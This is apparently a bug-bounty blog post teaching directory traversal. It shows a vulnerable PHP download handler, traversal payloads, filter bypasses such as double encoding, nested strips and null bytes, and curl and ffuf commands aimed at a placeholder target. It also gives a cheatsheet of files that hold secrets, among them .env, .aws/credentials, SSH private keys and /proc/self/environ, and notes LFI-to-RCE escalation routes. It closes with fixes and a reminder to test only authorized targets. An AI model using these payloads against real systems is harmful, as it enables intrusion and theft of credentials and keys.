July 18, 2026
Breaking Directories: A Bug Hunter’s Guide to Directory Traversal
Some bugs are loud. Directory traversal is quiet — it hides inside the most boring feature on the site, the little “download your invoice”…

By Fuzzyy Duck
5 min read
Some bugs are loud. Directory traversal is quiet — it hides inside the most boring feature on the site, the little "download your invoice" link nobody thinks about. But when it lands, it's one of the most rewarding classes in bug bounty: read the app's own source, pull its .env, grab cloud credentials, and on a bad day turn all of that into remote code execution. This post walks the whole path — where to look, how the filters fail, what to actually read, and a cheatsheet at the end. [Free link]
The core idea
The bug exists whenever an app takes your input and uses it to build a file path on the server. A filename, a template name, a download parameter, an image path — anything that ends up pointing at a file. If the app doesn't sanitize that input, you inject ../ sequences to climb out of the folder it meant to keep you in and reach files it never intended to serve.
GET /download?file=report.pdf → /var/www/files/report.pdf
GET /download?file=../../../etc/passwd → /etc/passwdGET /download?file=report.pdf → /var/www/files/report.pdf
GET /download?file=../../../etc/passwd → /etc/passwdThe mental model is simple: find where user input touches the filesystem, then escape the box it was supposed to stay in.
The vulnerable code you're exploiting
Here's the pattern, and why it breaks. This is a real-shaped download handler:
// VULNERABLE: user input concatenated straight into a path
$file = $_GET['file'];
$path = "/var/www/files/" . $file; // no sanitization
readfile($path); // serves whatever resolves// VULNERABLE: user input concatenated straight into a path
$file = $_GET['file'];
$path = "/var/www/files/" . $file; // no sanitization
readfile($path); // serves whatever resolvesWhen you send file=../../../etc/passwd, the string becomes /var/www/files/../../../etc/passwd. The operating system resolves those ../ segments before opening the file, walking up out of /var/www/files/ and landing on /etc/passwd. The app hands it to you without ever realizing it left its own directory. That's the entire vulnerability — trust in a string that the filesystem interprets very differently than the developer imagined.
Where to look
Any parameter that could map to a file is a candidate. Hunt these:
- Download/export endpoints:
?file=?path=?download=?doc=?report= - Image/media loaders:
?image=?img=?avatar=?photo= - Template/page includes:
?page=?template=?view=?theme= - Language/locale files:
?lang=en— try?lang=../../../../etc/passwd - Paths in the URL itself:
/static//assets//files/ - File paths hidden in POST bodies, JSON fields, cookies, and headers
- Upload filename fields — traversal on write lets you land a file outside the target dir
- Archive extraction — zip slip, traversal via paths inside a zip
- Report/PDF generators and XML parsers — anything that "fetches a local resource"
The tell: a parameter whose value looks like a filename or carries an extension.
?file=invoice.pdfis an open invitation.
Confirming the bug
Always confirm with a known-readable file before you get fancy. Start with more ../ than you think you need — extra ones are harmless, because once you hit the filesystem root, / just stays at root.
Linux:
../../../../etc/passwd
../../../../etc/hosts
../../../../proc/self/environ ← often leaks env vars / creds../../../../etc/passwd
../../../../etc/hosts
../../../../proc/self/environ ← often leaks env vars / credsWindows:
..\..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hosts..\..\..\..\windows\win.ini
..\..\..\..\windows\system32\drivers\etc\hostsQuick curl confirmation:
curl "https://target.com/download?file=../../../../etc/passwd"curl "https://target.com/download?file=../../../../etc/passwd"If root:x:0:0 comes back, you're in.
Defeating the filters — where the real finding lives
Naive filters are everywhere, and each one has a bypass. This section is the actual skill.
URL encoding (single and double)
%2e%2e%2f → ../
..%2f → ../
%2e%2e%5c → ..\ (Windows)
%252e%252e%252f → double-encoded ../ (beats a decode-then-check filter)%2e%2e%2f → ../
..%2f → ../
%2e%2e%5c → ..\ (Windows)
%252e%252e%252f → double-encoded ../ (beats a decode-then-check filter)Double encoding is the star: if the app decodes once, then checks for ../, the check sees %2e%2e%2f (harmless), and the later decode turns it back into ../.
Non-recursive strip bypass
If the filter removes ../ exactly once and doesn't loop, nest it so the removal rebuilds your payload:
....// → strip the inner ../ → leaves ../
..././ → collapses back to ../
....\/....// → strip the inner ../ → leaves ../
..././ → collapses back to ../
....\/This is the single most common real-world bypass — a developer wrote str_replace("../", "", $input) and thought they were done.
Overlong / Unicode slashes (legacy parsers)
..%c0%af..%c0%af → overlong UTF-8 encoding of /
..%ef%bc%8f → fullwidth slash on some parsers..%c0%af..%c0%af → overlong UTF-8 encoding of /
..%ef%bc%8f → fullwidth slash on some parsersLabel these as historical — they only work on old or Unicode-buggy stacks, but they still turn up on legacy targets.
Absolute path
If the app just concatenates or accepts absolutes, skip traversal entirely:
/etc/passwd
file:///etc/passwd/etc/passwd
file:///etc/passwdBase-directory-prefix bypass
If the app insists the path start with an expected folder, give it what it wants and then climb out:
/var/www/images/../../../etc/passwd/var/www/images/../../../etc/passwdAppended-extension bypass
If the code does filename + ".pdf", the historical null-byte trick truncates it:
../../../etc/passwd%00.pdf ← null byte, dead on modern runtimes, alive on legacy../../../etc/passwd%00.pdf ← null byte, dead on modern runtimes, alive on legacyExploitation — what to actually read
Proving /etc/passwd is the "hello world." Impact comes from what you pull next:
- App source code → find more bugs and hardcoded secrets:
../config.php,../../app/config/database.yml,web.config - Secrets →
.env,.aws/credentials,.git/config, SSH keys (../../../home/user/.ssh/id_rsa),.htpasswd - Env vars / cloud creds →
/proc/self/environfrequently carries DB passwords and API keys - Framework configs →
wp-config.php,settings.py,config/secrets.yml - Logs → the entry point for log poisoning → RCE
LFI escalation: if the traversal feeds an
include()/require()rather than a plain read, it's Local File Inclusion, and LFI climbs to RCE via log poisoning,/proc/self/environ, PHP wrappers (php://filter,data://), or session poisoning. Traversal that reads is bad; traversal that executes is critical. Always check which one you have.
Tooling and methodology
- Manual first — Burp Repeater, swap the param, watch the response.
- Burp Intruder — a traversal wordlist with depth + encoding variants against the param.
- ffuf for path-based traversal:
ffuf -u "https://target.com/download?file=FUZZ" -w traversal-payloads.txtffuf -u "https://target.com/download?file=FUZZ" -w traversal-payloads.txt4. Payload lists — PayloadsAllTheThings "Directory Traversal", SecLists Fuzzing/LFI.
5. Watch response length and status. A 200 whose body length differs from the "not found" baseline is your signal even when the content isn't obviously a system file.
When it's NOT exploitable
Don't burn a report on these:
- Input maps through a strict allowlist (
report→ hardcoded/files/report.pdf) — nothing reflects to the filesystem. - The app canonicalizes the path and verifies it still sits inside the base dir. That's the correct fix.
- Files come from object storage (S3) via keys, not filesystem paths — traversal in a key just 404s.
- A WAF normalizes and blocks before the app sees it (though WAF bypass via the encodings above is its own game).
The cheatsheet
[ FIND IT ]
?file= ?path= ?page= ?doc= ?lang= ?image= ?template=
POST bodies / JSON / cookies / headers
upload filenames | zip entries (zip slip)[ CONFIRM ]
../../../../etc/passwd (linux)
..\..\..\..\windows\win.ini (windows)
/proc/self/environ (env / creds)
use MORE ../ than needed
[ BYPASS FILTERS ]
%2e%2e%2f / ..%2f url-encode
%252e%252e%252f double-encode (decode-then-check)
....// ..././ non-recursive strip rebuild
..%c0%af overlong UTF-8 (legacy)
/etc/passwd | file:///etc/passwd absolute path
/base/dir/../../../etc/passwd prefix requirement
...passwd%00.pdf null byte (legacy, appended ext)
[ READ FOR IMPACT ]
.env .git/config .aws/credentials
config.php wp-config.php settings.py
~/.ssh/id_rsa /proc/self/environ
logs -> log poisoning -> RCE
[ ESCALATE ]
include()/require()? -> LFI -> RCE
php://filter data:// /proc/self/environ session poison
[ TOOLS ]
Burp Repeater/Intruder | ffuf FUZZ | curl
watch response length vs 404 baseline
[ FIND IT ]
?file= ?path= ?page= ?doc= ?lang= ?image= ?template=
POST bodies / JSON / cookies / headers
upload filenames | zip entries (zip slip)[ CONFIRM ]
../../../../etc/passwd (linux)
..\..\..\..\windows\win.ini (windows)
/proc/self/environ (env / creds)
use MORE ../ than needed
[ BYPASS FILTERS ]
%2e%2e%2f / ..%2f url-encode
%252e%252e%252f double-encode (decode-then-check)
....// ..././ non-recursive strip rebuild
..%c0%af overlong UTF-8 (legacy)
/etc/passwd | file:///etc/passwd absolute path
/base/dir/../../../etc/passwd prefix requirement
...passwd%00.pdf null byte (legacy, appended ext)
[ READ FOR IMPACT ]
.env .git/config .aws/credentials
config.php wp-config.php settings.py
~/.ssh/id_rsa /proc/self/environ
logs -> log poisoning -> RCE
[ ESCALATE ]
include()/require()? -> LFI -> RCE
php://filter data:// /proc/self/environ session poison
[ TOOLS ]
Burp Repeater/Intruder | ffuf FUZZ | curl
watch response length vs 404 baseline
How developers should fix it
- Don't pass user input to filesystem calls — map to an allowlist of known files or IDs.
- If a path is unavoidable, canonicalize with
realpathand confirm the resolved path still starts with the intended base directory — after resolution, not before. - Reject any input containing .., encoded variants, or null bytes.
- Run the file-serving process with least privilege, so even a successful read hits a permissions wall.
Closing
Directory traversal rewards the hunter who looks at the boring features — the download link, the image loader, the language switcher. Find the spot where your input becomes a path, throw ../ at it, and when a filter stops you, remember the filter is usually lazier than it looks. Climb one directory at a time.
Test only in-scope, authorized targets, and read only as far as you need to prove impact — one config file makes your case; browsing someone's private keys for fun does not.